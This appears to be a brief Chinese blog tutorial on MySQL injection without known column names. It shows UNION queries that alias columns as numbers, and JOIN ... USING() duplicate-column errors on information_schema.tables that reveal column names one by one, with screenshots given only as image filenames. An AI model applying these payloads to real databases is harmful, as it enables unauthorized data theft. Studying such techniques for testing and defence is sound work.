mysql注入 join_sql注入(利用join进行无列名注入)

select 1,2,3 union select * from sc;

select `1` from (select 1,2,3 union select * from sc)a;

select `2` from (select 1,2,3 union select * from sc)a;

select * from sc;

1478b5f112519e502bcad23e3a7ab57a.png

select 1,2,3 union select * from sc;

9ad5e03749a695e000f847f1be4c0c3d.png

select `1` from (select 1,2,3 union select * from sc)a;

cdc93043825a1f1ee8adb8b4e49ae293.png

join 报错来爆列名

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b)c;

5ba9c3fc2115e3e27cdfad2c8a9e4398.png

得到第一列列名 table_catalog

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog))c;

3dd088eba94f5cdebfb5e2c59d661507.png

得到第二列列名 table_schema

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog,table_schema))c;

可得第三列列名 依次枚举

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值